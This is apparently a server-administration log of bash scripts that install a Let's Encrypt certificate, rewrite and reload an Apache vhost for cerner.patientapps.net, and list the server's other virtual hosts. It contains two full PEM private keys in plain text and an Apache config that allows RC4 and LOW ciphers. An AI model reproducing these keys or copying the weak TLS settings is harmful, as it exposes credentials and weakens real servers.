h2OUbuxdRh4Vcuw4xo3Uw/fWHemRguHsJkAqVBDFpW0LoDQULwIoabcSoB61vXb6
vL7pfBl0wOrtCYkk7Afn/LVX7bxDkKfoPLq3AQVR4/2RdSTIG0uxsOaWJbPk+4zw
JmSLliU59Z5eyisA8Tqla4JPOpe9gzlYhn967L5Ijk6+4dGcl8Za/wzsf0bfP1Uk
VQwb7sTN708qOTaj28g/vWYt0R0wo1ogCf1rTHAgFBiSffpJ6dZregmvu7TZA69A
yLiKqlAvMtTLE6f0eYp8JgDT2RTEwiQkbBjbkWRzYcyfoFR7++LIwKnZcvE9++08
XrUFstgFAgMBAAECggEAKM5oDEjLv0q2v5HLJPDg4SmwH6aNI0GnPRf4EJUu22Rr
EpqOXv4Xyn5G2xiIpwTzt6ohYlI8m0LiVC2/42vbUjsyw8Yi6fFU10BqqCs5DQTU
287XT/ErAg4sZWPHqFx/9tWxLq3SpxUX9hSzGcoFG84Mq9VvXgcM88QM4VKWaGmQ
Ch07qfZamBlFz+7LTR0if8kPV8nUDnS5TpH0qBfPQlgLFrBH1lVfXZOkzlZnW4a4
YLQccVV3DIs2uuILIrRUnthBZaHMPzZllhd6LF7h2GJvSoK6CY7i8q7QhaULyXz5
TpQtPP1rn5DwwXHf9RXgFmM3eDi6VU/zabkmuCSFAQKBgQDxd/HcgV1d15Ej4xZB
JQXaznCZ/7PXLAmOWGy6TVprBEBDRKovQuY5D8OUMhbKB51YIoLlSroYMTIx845h
8hwAMlgqck6AHD6RoDmGtnZSlpt95T1Kytpk0xyz5muVqkUXlPFln+VmEb6MVLQx
qhGd0F93Vy4cOpb9tT8nz21FywKBgQC/x2psjBaAVGKbLxv+QJEYfEl6HR7m98Sa
aRSXumpjTxk0F4JPTIFfwnyMr1ffCk2yn6qbW402GPSvGqDOkFUww/3ZvENWhVAd
aTLuKRpBWVklW40kbi1WZSCEid47zd6GQ+LyGsttz2lXPz2Q98VU08BDw+2D3qUP
xqDt4dofbwKBgQCU1mYSkPrH+TPRdwwko3l0YYMuqVpk6xQI1aBPRZbSGBC0ZgKw
lv/pdDoNgsJhTUhDJyKfyuviNZDHEWVWIjH4PQ/zOfoBJWe7w5Mx4g4U4hh+BWs+
SsNLGoW6rfDqk8V6v6f8CA8SVyWowh0/76BkMihmGyqk48hmIe4Hz+d++QKBgEr4
li4hBZrdYj7wR605aH999ut5/t6j9YO3mIlIItb30Q6AMjz1142r5izJTzyuNnmh
2XwqaiW/08ewTTTzT5pkxBQeeOSV8R/ORE6+Wrk5SJRGGgMn3ylrFy85Bluyu08Z
stqahvRCpReqbVMCyW3D6eGT8oIew8BLEhZsuGyZAoGBAKrj8G+j9Fhe9+DnNGlg
aV96xjvIsfBuG2Ge0zcLOzj5e/hYogm+I7BK/vWOCohvdK6JStSZwmgaEy6aLfVS
g4hiYc6bttHIRH6uTcsPTWBm6eF6o3Wq0tsadwIuJzD+H7jHYM47gUTzHARymzAP
/OWkPWaRS9P/0MuW6kxrNKhR
-----END PRIVATE KEY-----

-----BEGIN CERTIFICATE-----
MIIFBjCCAu6gAwIBAgIRAMISMktwqbSRcdxA9+KFJjwwDQYJKoZIhvcNAQELBQAw
TzELMAkGA1UEBhMCVVMxKTAnBgNVBAoTIEludGVybmV0IFNlY3VyaXR5IFJlc2Vh
cmNoIEdyb3VwMRUwEwYDVQQDEwxJU1JHIFJvb3QgWDEwHhcNMjQwMzEzMDAwMDAw
WhcNMjcwMzEyMjM1OTU5WjAzMQswCQYDVQQGEwJVUzEWMBQGA1UEChMNTGV0J3Mg
RW5jcnlwdDEMMAoGA1UEAxMDUjEyMIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIB
CgKCAQEA2pgodK2+lP474B7i5Ut1qywSf+2nAzJ+Npfs6DGPpRONC5kuHs0BUT1M
5ShuCVUxqqUiXXL0LQfCTUA83wEjuXg39RplMjTmhnGdBO+ECFu9AhqZ66YBAJpz
kG2Pogeg0JfT2kVhgTU9FPnEwF9q3AuWGrCf4yrqvSrWmMebcas7dA8827JgvlpL
Thjp2ypzXIlhZZ7+7Tymy05v5J75AEaz/xlNKmOzjmbGGIVwx1Blbzt05UiDDwhY
XS0jnV6j/ujbAKHS9OMZTfLuevYnnuXNnC2i8n+cF63vEzc50bTILEHWhsDp7CH4
WRt/uTp8n1wBnWIEwii9Cq08yhDsGwIDAQABo4H4MIH1MA4GA1UdDwEB/wQEAwIB
hjAdBgNVHSUEFjAUBggrBgEFBQcDAgYIKwYBBQUHAwEwEgYDVR0TAQH/BAgwBgEB
/wIBADAdBgNVHQ4EFgQUALUp8i2ObzHom0yteD763OkM0dIwHwYDVR0jBBgwFoAU
ebRZ5nu25eQBc4AIiMgaWPbpm24wMgYIKwYBBQUHAQEEJjAkMCIGCCsGAQUFBzAC
hhZodHRwOi8veDEuaS5sZW5jci5vcmcvMBMGA1UdIAQMMAowCAYGZ4EMAQIBMCcG
A1UdHwQgMB4wHKAaoBiGFmh0dHA6Ly94MS5jLmxlbmNyLm9yZy8wDQYJKoZIhvcN
AQELBQADggIBAI910AnPanZIZTKS3rVEyIV29BWEjAK/duuz8eL5boSoVpHhkkv3
4eoAeEiPdZLj5EZ7G2ArIK+gzhTlRQ1q4FKGpPPaFBSpqV/xbUb5UlAXQOnkHn3m
FVj+qYv87/WeY+Bm4sN3Ox8BhyaU7UAQ3LeZ7N1X01xxQe4wIAAE3JVLUCiHmZL+
qoCUtgYIFPgcg350QMUIWgxPXNGEncT921ne7nluI02V8pLUmClqXOsCwULw+PVO
ZCB7qOMxxMBoCUeL2Ll4oMpOSr5pJCpLN3tRA2s6P1KLs9TSrVhOk+7LX28NMUlI
usQ/nxLJID0RhAeFtPjyOCOscQBA53+NRjSCak7P4A5jX7ppmkcJECL+S0i3kXVU
y5Me5BbrU8973jZNv/ax6+ZK6TM8jWmimL6of6OrX7ZU6E2WqazzsFrLG3o2kySb
zlhSgJ81Cl4tv3SbYiYXnJExKQvzf83DYotox3f0fwv7xln1A2ZLplCb0O+l/AK0
YE0DS2FPxSAHi0iwMfW2nNHJrXcY3LLHD77gRgje4Eveubi2xxa+Nmk/hmhLdIET
iVDFanoCrMVIpQ59XWHkzdFmoHXHBV7oibVjGSO7ULSQ7MJ1Nz51phuDJSgAIU7A
0zrLnOrAj/dfrlEWRhCvAgbuwLZX1A2sjNjXoPOHbsPiy+lO1KF8/XY7
-----END CERTIFICATE-----






2026-02-18 06:00:21: Establishing a connection
2026-02-18 06:00:22: Establishing a connection
2026-02-18 06:00:22: 

PUT: /tmp/pkp909832

#!/bin/bash
if [ -d "/var/www/patientapps_preview/.well-known" ]; then
    echo 1
else
    echo 0
fi


2026-02-18 06:00:22: 

chmod 755 /tmp/pkp909832; /tmp/pkp909832; rm /tmp/pkp909832

2026-02-18 06:00:22: 


0


2026-02-18 06:00:48: Establishing a connection
2026-02-18 06:00:48: 

PUT: /tmp/pkp812898

#!/bin/bash
temp_file=$(mktemp)
TARGET=9165176ee0fe7a5f957c52572458ff70.crt

cat > $temp_file <<'endmsg'
c5:41:a2:92:28:f5:cf:27:d1:28:49:4b:b6:3c:80:cb

-----BEGIN CERTIFICATE-----
MIIFBzCCA++gAwIBAgISBagYaE4pE5R/dimMx8WOXu+3MA0GCSqGSIb3DQEBCwUA
MDMxCzAJBgNVBAYTAlVTMRYwFAYDVQQKEw1MZXQncyBFbmNyeXB0MQwwCgYDVQQD
EwNSMTIwHhcNMjYwMjE4MDUwMjE2WhcNMjYwNTE5MDUwMjE1WjAhMR8wHQYDVQQD
ExZjZXJuZXIucGF0aWVudGFwcHMubmV0MIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8A
MIIBCgKCAQEAp6klIkT6tJrjEOOkoSC0cHMwer6WJO6c6dzzSZXJeDyBvfAghQGv
ZQhqBMOP7QooNrOHxxSA/wOYm75ckW/jk3LenBN+Fa6cuxZ3DZYT8qanjGW9QMuW
KukP/eSj2tMi+tVIBwWzrrbQbcCyxNJfF6Gid5sYMF6rUj/zvEO7DZzE7PjuruyR
psMiRX2Enf6q4Z9C54O6mzLw6vATcUJbgZ4wc334YJ+QpEUPyEF08HHR0rh134Ye
6Tb3tgD2QZRJwWg8whxGh2HEygtrrAwvP/4fX/6ZkZlKwIQosnv44F9Pax/FD7zy
5cnS1oy2gGByC+wHRdo5Tr806wLFuPbddQIDAQABo4ICJTCCAiEwDgYDVR0PAQH/
BAQDAgWgMBMGA1UdJQQMMAoGCCsGAQUFBwMBMAwGA1UdEwEB/wQCMAAwHQYDVR0O
BBYEFBpckhdWmMguLZieWxHpAatowT5QMB8GA1UdIwQYMBaAFAC1KfItjm8x6JtM
rXg++tzpDNHSMDMGCCsGAQUFBwEBBCcwJTAjBggrBgEFBQcwAoYXaHR0cDovL3Ix
Mi5pLmxlbmNyLm9yZy8wIQYDVR0RBBowGIIWY2VybmVyLnBhdGllbnRhcHBzLm5l
dDATBgNVHSAEDDAKMAgGBmeBDAECATAuBgNVHR8EJzAlMCOgIaAfhh1odHRwOi8v
cjEyLmMubGVuY3Iub3JnLzU2LmNybDCCAQ0GCisGAQQB1nkCBAIEgf4EgfsA+QB2
AEmcm2neHXzs/DbezYdkprhbrwqHgBnRVVL76esp3fjDAAABnG9WNm4AAAQDAEcw
RQIhANBgZF/0s3ynBOhi4r0aQHFEmBDKPJTDJq88MboaZ1WQAiBcLjZpV2CQE60D
IVjYB6/b7H3SCv93SChZcrKhmeymqQB/ABqLnWlKV5jImaDKiL30j8C0VmDMw2AN
H3H0af/H0ayjAAABnG9WOXwACAAABQBKAC6CBAMASDBGAiEA5RENHjZnYP4EMsak
ZCqoQItaHRvP1/eH9cDjpgwIrsUCIQDaZHKMW9rrkRG+TmTC4RBOuiDIVfHxK2KX
aNQAOrMuQTANBgkqhkiG9w0BAQsFAAOCAQEAnfyJIJaY7MwWFLY1GWvZCK/CkvYc
eqM/FDv53XqEnfEitqfkggNBBt1XosmzAsEKmtljKRrrpn0wX5B/G2N4IfNL/oYW
WL/41GCKbcLQQ8yelULV/MMwD1opjrUaEkzrfosT1fP6PgV4ZBzDG2LBm/8m9E3C
DJUjAOoH9ylWwTkiwM9ijQQ2oZj6fbOxQOWPZFr/w+KXIe7XaosJa0jUAk371wuX
lozNt2+6KUAcuhN6Mg9bM1BFUtpn+ipsn6lFEdKiBsPOSWxMkjkWmOw2RzvcwEUL
PqCuoXyX7suvnY7w8mmrMC8KB7wwb3OtsO2mYMI9G//+vOJEtvTRrvvq/w==
-----END CERTIFICATE-----



-----BEGIN PRIVATE KEY-----
MIIEvAIBADANBgkqhkiG9w0BAQEFAASCBKYwggSiAgEAAoIBAQCnqSUiRPq0muMQ
46ShILRwczB6vpYk7pzp3PNJlcl4PIG98CCFAa9lCGoEw4/tCig2s4fHFID/A5ib
vlyRb+OTct6cE34Vrpy7FncNlhPypqeMZb1Ay5Yq6Q/95KPa0yL61UgHBbOuttBt
wLLE0l8XoaJ3mxgwXqtSP/O8Q7sNnMTs+O6u7JGmwyJFfYSd/qrhn0Lng7qbMvDq
8BNxQluBnjBzffhgn5CkRQ/IQXTwcdHSuHXfhh7pNve2APZBlEnBaDzCHEaHYcTK
C2usDC8//h9f/pmRmUrAhCiye/jgX09rH8UPvPLlydLWjLaAYHIL7AdF2jlOvzTr
AsW49t11AgMBAAECggEADiK7MEP7lT2X1mUzDKi6vd5gYIDwHMYHccpAstwPo/UK
BU8ZFs25EX4fni401Mnt8Qq68GSAqb+OXtcya8qwt85QCX21PDPAIB/5Qqp8HRHC
/5nWVn+ztgN3ZzMfQ4RYpyhTTdBDwX/FW/OKvwBzpwToM0hexjk9HY6pyJ43R6Lk
lVb06U4fZZ92MvuA8/Fz0frdCh0NCLbylH5RYVniwqYZKWn56cyZNnOnN2axjbqI
NXT4Cx4Cxu5VJImHF/0+sp0D2SXt4ZiEpasRYb0AgiGY6GfiKEiRBMTei8ht2AUB
MwEy+P9rk8eg25E1wDuV9d9JoB1M/go77uMgxTursQKBgQDanPs9hqZyCSiJ4xrg
0BUcRtii4365fe2T+yUZphAgEC0B/bJf0/IrLG5WH45WfEVkGlw4JpcYS3aLMiVJ
fZGZTpzNMHViFIwkX5NTxZ9za1QWi5kIudzFDvHmX6kqJAUurXPzAEapmoJ4MbQX
OtaxvyelU9G1vdCamcXdLLLiOQKBgQDEVW7XzuCaiuqALdww+e5LMlaM4di0lkOo
hyL8lsLBaBcB9X/UgwRP5hynTz1Hb9ZxGlF4HkGdeLSJYpW1ox+LaeOrJIHZg2zu
Z6f5SNYf4CY40/1LtaxK4m6jripd2n9GYlXDLdwkCPJmhMhAsLVczoccRMiA0RzX
j5KuqgklHQKBgC2OUwjCO4M+B1WcnuhEVHHdDZ38HFdZN54D0vpiUa/szwRAMuCn
USrQCnol/0pkgS1YFOmamRf1+dEN9Rk4cpPo/uH/fCahM4cM562oXA74ScCc/JoF
6UyjTaN9QcpHUVEl0ijMYO1NBm03pljE6SKHPCLGscfWs1bUPphVjT15AoGAf63/
k6EaN+a3cfxhAgjHi2eFGcGWKHrALU0U16dDqHuE2uVI6G770uoXIEdL1rVIg+1V
pgQnL71byyytp54Z2ZRXVuk6+LWblb8bYeaYOcqPkM1sIFxZW6m9wfx12OtLcf5p
P7EHRPf8i+c2Q7undl9pRl0E96EGXLkl7yjtIZECgYBm6/9Tm7Ewvy9wMPNNxp08
nEHgd3q3wMLWJR+rmWk6fFJ0AX+ujmMy40KuRuyo4FNt7O4BxQ8slBDn26HrswaW
FjICTn2WDcpPoGezwrHZYi03ASDVNpreCjkLjqxq9iFR7WK+5Yu56q49Qa1Eo+4E
fYWzZL7R3nqglpiTQBOsQg==
-----END PRIVATE KEY-----

-----BEGIN CERTIFICATE-----
MIIFBjCCAu6gAwIBAgIRAMISMktwqbSRcdxA9+KFJjwwDQYJKoZIhvcNAQELBQAw
TzELMAkGA1UEBhMCVVMxKTAnBgNVBAoTIEludGVybmV0IFNlY3VyaXR5IFJlc2Vh
cmNoIEdyb3VwMRUwEwYDVQQDEwxJU1JHIFJvb3QgWDEwHhcNMjQwMzEzMDAwMDAw
WhcNMjcwMzEyMjM1OTU5WjAzMQswCQYDVQQGEwJVUzEWMBQGA1UEChMNTGV0J3Mg
RW5jcnlwdDEMMAoGA1UEAxMDUjEyMIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIB
CgKCAQEA2pgodK2+lP474B7i5Ut1qywSf+2nAzJ+Npfs6DGPpRONC5kuHs0BUT1M
5ShuCVUxqqUiXXL0LQfCTUA83wEjuXg39RplMjTmhnGdBO+ECFu9AhqZ66YBAJpz
kG2Pogeg0JfT2kVhgTU9FPnEwF9q3AuWGrCf4yrqvSrWmMebcas7dA8827JgvlpL
Thjp2ypzXIlhZZ7+7Tymy05v5J75AEaz/xlNKmOzjmbGGIVwx1Blbzt05UiDDwhY
XS0jnV6j/ujbAKHS9OMZTfLuevYnnuXNnC2i8n+cF63vEzc50bTILEHWhsDp7CH4
WRt/uTp8n1wBnWIEwii9Cq08yhDsGwIDAQABo4H4MIH1MA4GA1UdDwEB/wQEAwIB
hjAdBgNVHSUEFjAUBggrBgEFBQcDAgYIKwYBBQUHAwEwEgYDVR0TAQH/BAgwBgEB
/wIBADAdBgNVHQ4EFgQUALUp8i2ObzHom0yteD763OkM0dIwHwYDVR0jBBgwFoAU
ebRZ5nu25eQBc4AIiMgaWPbpm24wMgYIKwYBBQUHAQEEJjAkMCIGCCsGAQUFBzAC
hhZodHRwOi8veDEuaS5sZW5jci5vcmcvMBMGA1UdIAQMMAowCAYGZ4EMAQIBMCcG
A1UdHwQgMB4wHKAaoBiGFmh0dHA6Ly94MS5jLmxlbmNyLm9yZy8wDQYJKoZIhvcN
AQELBQADggIBAI910AnPanZIZTKS3rVEyIV29BWEjAK/duuz8eL5boSoVpHhkkv3
4eoAeEiPdZLj5EZ7G2ArIK+gzhTlRQ1q4FKGpPPaFBSpqV/xbUb5UlAXQOnkHn3m
FVj+qYv87/WeY+Bm4sN3Ox8BhyaU7UAQ3LeZ7N1X01xxQe4wIAAE3JVLUCiHmZL+
qoCUtgYIFPgcg350QMUIWgxPXNGEncT921ne7nluI02V8pLUmClqXOsCwULw+PVO
ZCB7qOMxxMBoCUeL2Ll4oMpOSr5pJCpLN3tRA2s6P1KLs9TSrVhOk+7LX28NMUlI
usQ/nxLJID0RhAeFtPjyOCOscQBA53+NRjSCak7P4A5jX7ppmkcJECL+S0i3kXVU
y5Me5BbrU8973jZNv/ax6+ZK6TM8jWmimL6of6OrX7ZU6E2WqazzsFrLG3o2kySb
zlhSgJ81Cl4tv3SbYiYXnJExKQvzf83DYotox3f0fwv7xln1A2ZLplCb0O+l/AK0
YE0DS2FPxSAHi0iwMfW2nNHJrXcY3LLHD77gRgje4Eveubi2xxa+Nmk/hmhLdIET
iVDFanoCrMVIpQ59XWHkzdFmoHXHBV7oibVjGSO7ULSQ7MJ1Nz51phuDJSgAIU7A
0zrLnOrAj/dfrlEWRhCvAgbuwLZX1A2sjNjXoPOHbsPiy+lO1KF8/XY7
-----END CERTIFICATE-----


endmsg

chmod 640 $temp_file
if [ -d "/etc/pki/tls/certs" ]; then
	cp $temp_file /etc/pki/tls/certs/$TARGET
	echo dir=/etc/pki/tls/certs/
elif [ -d "/etc/ssl/certs" ]; then
	cp $temp_file /etc/ssl/certs/$TARGET
	echo dir=/etc/ssl/certs
else
	echo dir=
fi

rm $temp_file


2026-02-18 06:00:48: 

chmod 755 /tmp/pkp812898; /tmp/pkp812898; rm /tmp/pkp812898

2026-02-18 06:00:48: 


dir=/etc/ssl/certs


2026-02-18 06:00:48: 

PUT: /tmp/pkp317796

#!/bin/bash
# download changed files, then zip.
APACHE_ROOT=/etc/apache2
BOUNDARY=----boundary-6506b6c63ab0478b95fb419cca0e56fb----
cd $APACHE_ROOT
temp_file=$(mktemp)

show_file() {
	echo $BOUNDARY >> $temp_file
	if [ -f "$1" ]; then
		FILESIZE=$(stat -c%s "$1")
		echo $1	$FILESIZE >> $temp_file
		cat $1 >> $temp_file
	else
		echo $1	0 >> $temp_file
	fi
	echo >> $temp_file
}

show_file "/etc/apache2/sites-enabled/patientapps_cerner_net.conf"

gzip -cn9 $temp_file
rm $temp_file

2026-02-18 06:00:48: 

chmod 755 /tmp/pkp317796; /tmp/pkp317796; rm /tmp/pkp317796

2026-02-18 06:00:48: 
(gzipped output)


----boundary-6506b6c63ab0478b95fb419cca0e56fb----
/etc/apache2/sites-enabled/patientapps_cerner_net.conf 46

<VirtualHost *:80>
    ServerName	cerner.patientapps.net
    ServerAdmin	do_not_email@example.com
    DocumentRoot	/var/www/patientapps_preview/public
    <Directory /var/www/patientapps_preview>
        Options	+FollowSymLinks -MultiViews
        AllowOverride	All
        Order	allow,deny
        allow	from all
    </Directory>
    
    CustomLog	/var/log/apache2/patientapps/cerner_access.log combined
    ErrorLog	/var/log/apache2/patientapps/cerner_error.log
    SetEnv pkp_uid	18
    SetEnv pkp_owner	sii
    RewriteEngine	On
    RewriteCond	%{REQUEST_METHOD} !POST
    RewriteRule	^/?(.*) https://%{SERVER_NAME}/$1 [R=302,L]
</VirtualHost>

<VirtualHost *:443>
    ServerName	cerner.patientapps.net
    ServerAdmin	do_not_email@example.com
    SSLEngine	on
    SSLProtocol	all -SSLv2
    SSLCipherSuite	ALL:!ADH:!EXPORT:!SSLv2:RC4+RSA:+HIGH:+MEDIUM:+LOW
    SSLCertificateFile	/etc/ssl/certs/9165176ee0fe7a5f957c52572458ff70.crt
    DocumentRoot	/var/www/patientapps_preview/public
    <Directory /var/www/patientapps_preview>
        Options	+FollowSymLinks -MultiViews
        AllowOverride	All
        <Files "index.html">
            FileETag	None
            Header	unset ETag
            Header set Cache-Control	"max-age=0, no-cache, no-store, must-revalidate"
            Header set Pragma	"no-cache"
            Header set Expires	"Wed, 11 Jan 1984 05:00:00 GMT"
        </Files>
        
        Order	allow,deny
        allow	from all
    </Directory>
    
    CustomLog	/var/log/apache2/patientapps/cerner_secure_access.log combined
    ErrorLog	/var/log/apache2/patientapps/cerner_secure_error.log
    SetEnv pkp_uid	
    SetEnv pkp_owner	
</VirtualHost>






2026-02-18 06:00:48: 

PUT: /tmp/pkp121698

#!/bin/bash
temp_file=$(mktemp)
BASE=/etc/apache2
BASENAME=patientapps_cerner_net.conf
TARGET=/etc/apache2/sites-enabled/patientapps_cerner_net.conf
DOCROOT=-
PUBLIC=

cat > $temp_file <<'----boundary-6506b6c63ab0478b95fb419cca0e56fb----'

<VirtualHost *:80>
    ServerName	cerner.patientapps.net
    ServerAdmin	do_not_email@example.com
    DocumentRoot	/var/www/patientapps_preview/public
    <Directory /var/www/patientapps_preview>
        Options	+FollowSymLinks -MultiViews
        AllowOverride	All
        Order	allow,deny
        allow	from all
    </Directory>
    
    CustomLog	/var/log/apache2/patientapps/cerner_access.log combined
    ErrorLog	/var/log/apache2/patientapps/cerner_error.log
    SetEnv pkp_uid	18
    SetEnv pkp_owner	sii
    RewriteEngine	On
    RewriteCond	%{REQUEST_METHOD} !POST
    RewriteRule	^/?(.*) https://%{SERVER_NAME}/$1 [R=302,L]
</VirtualHost>

<VirtualHost *:443>
    ServerName	cerner.patientapps.net
    ServerAdmin	do_not_email@example.com
    SSLEngine	on
    SSLProtocol	all -SSLv2
    SSLCipherSuite	ALL:!ADH:!EXPORT:!SSLv2:RC4+RSA:+HIGH:+MEDIUM:+LOW
    SSLCertificateFile	/etc/ssl/certs/9165176ee0fe7a5f957c52572458ff70.crt
    DocumentRoot	/var/www/patientapps_preview/public
    <Directory /var/www/patientapps_preview>
        Options	+FollowSymLinks -MultiViews
        AllowOverride	All
        <Files "index.html">
            FileETag	None
            Header	unset ETag
            Header set Cache-Control	"max-age=0, no-cache, no-store, must-revalidate"
            Header set Pragma	"no-cache"
            Header set Expires	"Wed, 11 Jan 1984 05:00:00 GMT"
        </Files>
        
        Order	allow,deny
        allow	from all
    </Directory>
    
    CustomLog	/var/log/apache2/patientapps/cerner_secure_access.log combined
    ErrorLog	/var/log/apache2/patientapps/cerner_secure_error.log
    SetEnv pkp_uid	
    SetEnv pkp_owner	
</VirtualHost>



----boundary-6506b6c63ab0478b95fb419cca0e56fb----

chmod 644 $temp_file

cd $BASE
cp -f $temp_file $TARGET
rm $temp_file
if [ $DOCROOT != "-" ]; then
	mkdir -p 
	mkdir -p $DOCROOT/$PUBLIC
	chown -R : $DOCROOT
	ln -s "..//etc/apache2/sites-enabled/patientapps_cerner_net.conf" "$BASE/sites-enabled/$BASENAME" > /dev/null 2>&1
	echo 'link(/etc/apache2/sites-enabled/patientapps_cerner_net.conf)= /etc/apache2//etc/apache2/sites-enabled/patientapps_cerner_net.conf'
	echo 'file(/etc/apache2//etc/apache2/sites-enabled/patientapps_cerner_net.conf= 1'
fi


2026-02-18 06:00:48: 

chmod 755 /tmp/pkp121698; /tmp/pkp121698; rm /tmp/pkp121698

2026-02-18 06:00:48: 




2026-02-18 06:00:48: 

PUT: /tmp/pkp201053

#!/bin/bash
if [ -f "/usr/sbin/apachectl" ]; then
	/usr/sbin/apachectl graceful
fi 
if [ -f "/usr/local/opt/httpd/bin/httpd" ]; then
	export HOMEBREW_NO_INSTALL_FROM_API=1
	brew services restart httpd

fi
echo .

2026-02-18 06:00:48: 

chmod 755 /tmp/pkp201053; /tmp/pkp201053; rm /tmp/pkp201053

2026-02-18 06:00:49: 


AH00558: apache2: Could not reliably determine the server's fully qualified domain name, using 127.0.1.1. Set the 'ServerName' directive globally to suppress this message
.




STDERR:
AH00558: apache2: Could not reliably determine the server's fully qualified domain name, using 127.0.1.1. Set the 'ServerName' directive globally to suppress this message


2026-02-18 06:00:49: Establishing a connection
2026-02-18 06:00:49: 

PUT: /tmp/pkp639663

#!/bin/bash
if [ -f "/usr/sbin/apachectl" ]; then
	/usr/sbin/apachectl -S
fi
echo .

2026-02-18 06:00:49: 

chmod 755 /tmp/pkp639663; /tmp/pkp639663; rm /tmp/pkp639663

2026-02-18 06:00:49: 


AH00558: apache2: Could not reliably determine the server's fully qualified domain name, using 127.0.1.1. Set the 'ServerName' directive globally to suppress this message
VirtualHost configuration:
*:80                   is a NameVirtualHost
         default server 127.0.1.1 (/etc/apache2/sites-enabled/000-default.conf:1)
         port 80 namevhost 127.0.1.1 (/etc/apache2/sites-enabled/000-default.conf:1)
         port 80 namevhost www.myapp.care (/etc/apache2/sites-enabled/001-myapp_www_care.conf:1)
                 alias myapp.care
         port 80 namevhost condor.hostz.org (/etc/apache2/sites-enabled/hostz_condor_org.conf:2)
         port 80 namevhost cn-dego.myapp.care (/etc/apache2/sites-enabled/myapp_cn-dego_care.conf:2)
                 alias www.cn-dego.myapp.care
         port 80 namevhost d-oak.myapp.care (/etc/apache2/sites-enabled/myapp_d-oak_care.conf:2)
                 alias www.d-oak.myapp.care
         port 80 namevhost ma1-acrp.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-acrp_care.conf:2)
                 alias www.ma1-acrp.myapp.care
         port 80 namevhost ma1-anfr.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-anfr_care.conf:2)
                 alias www.ma1-anfr.myapp.care
         port 80 namevhost ma1-anfu.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-anfu_care.conf:2)
         port 80 namevhost ma1-anin.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-anin_care.conf:2)
                 alias www.ma1-anin.myapp.care
         port 80 namevhost ma1-ankp.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-ankp_care.conf:2)
                 alias www.ma1-ankp.myapp.care
         port 80 namevhost ma1-anrp.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-anrp_care.conf:2)
                 alias www.ma1-anrp.myapp.care
         port 80 namevhost ma1-arcr.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-arcr_care.conf:2)
                 alias www.ma1-arcr.myapp.care
         port 80 namevhost ma1-asst.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-asst_care.conf:2)
                 alias www.ma1-asst.myapp.care
         port 80 namevhost ma1-chel.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-chel_care.conf:2)
                 alias www.ma1-chel.myapp.care
         port 80 namevhost ma1-cybb.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-cybb_care.conf:2)
                 alias www.ma1-cybb.myapp.care
         port 80 namevhost ma1-dego.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-dego_care.conf:2)
         port 80 namevhost ma1-epas.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-epas_care.conf:2)
                 alias www.ma1-epas.myapp.care
         port 80 namevhost ma1-fass.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-fass_care.conf:2)
                 alias www.ma1-fass.myapp.care
         port 80 namevhost ma1-infp.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-infp_care.conf:2)
         port 80 namevhost ma1-larn.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-larn_care.conf:2)
         port 80 namevhost ma1-ldhr.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-ldhr_care.conf:2)
                 alias www.ma1-ldhr.myapp.care
         port 80 namevhost ma1-lsst.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-lsst_care.conf:2)
                 alias www.ma1-lsst.myapp.care
         port 80 namevhost ma1-mtfp.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-mtfp_care.conf:2)
                 alias www.ma1-mtfp.myapp.care
         port 80 namevhost ma1-mvrc.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-mvrc_care.conf:2)
                 alias www.ma1-mvrc.myapp.care
         port 80 namevhost ma1-octf.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-octf_care.conf:2)
                 alias www.ma1-octf.myapp.care
         port 80 namevhost ma1-osbp.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-osbp_care.conf:1)
         port 80 namevhost ma1-ovin.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-ovin_care.conf:2)
                 alias www.ma1-ovin.myapp.care
         port 80 namevhost ma1-pfer.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-pfer_care.conf:2)
                 alias www.ma1-pfer.myapp.care
         port 80 namevhost ma1-prls.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-prls_care.conf:2)
                 alias www.ma1-prls.myapp.care
         port 80 namevhost ma1-rcl.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-rcl.conf:1)
                 alias www.ma1-rcl.myapp.care
         port 80 namevhost ma1-ropn.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-ropn_care.conf:2)
         port 80 namevhost ma1-rorp.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-rorp_care.conf:2)
                 alias www.ma1-rorp.myapp.care
         port 80 namevhost ma1-savr.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-savr_care.conf:2)
                 alias www.ma1-savr.myapp.care
         port 80 namevhost ma1-shem.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-shem_care.conf:2)
                 alias www.ma1-shem.myapp.care
         port 80 namevhost ma1-sspr.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-sspr_care.conf:2)
                 alias www.ma1-sspr.myapp.care
         port 80 namevhost ma1-tosr.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-tosr_care.conf:2)
                 alias www.ma1-tosr.myapp.care
         port 80 namevhost ma1-turp.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-turp_care.conf:2)
         port 80 namevhost ma1-tylo.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-tylo_care.conf:2)
                 alias www.ma1-tylo.myapp.care
         port 80 namevhost ma1-typa.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-typa_care.conf:2)
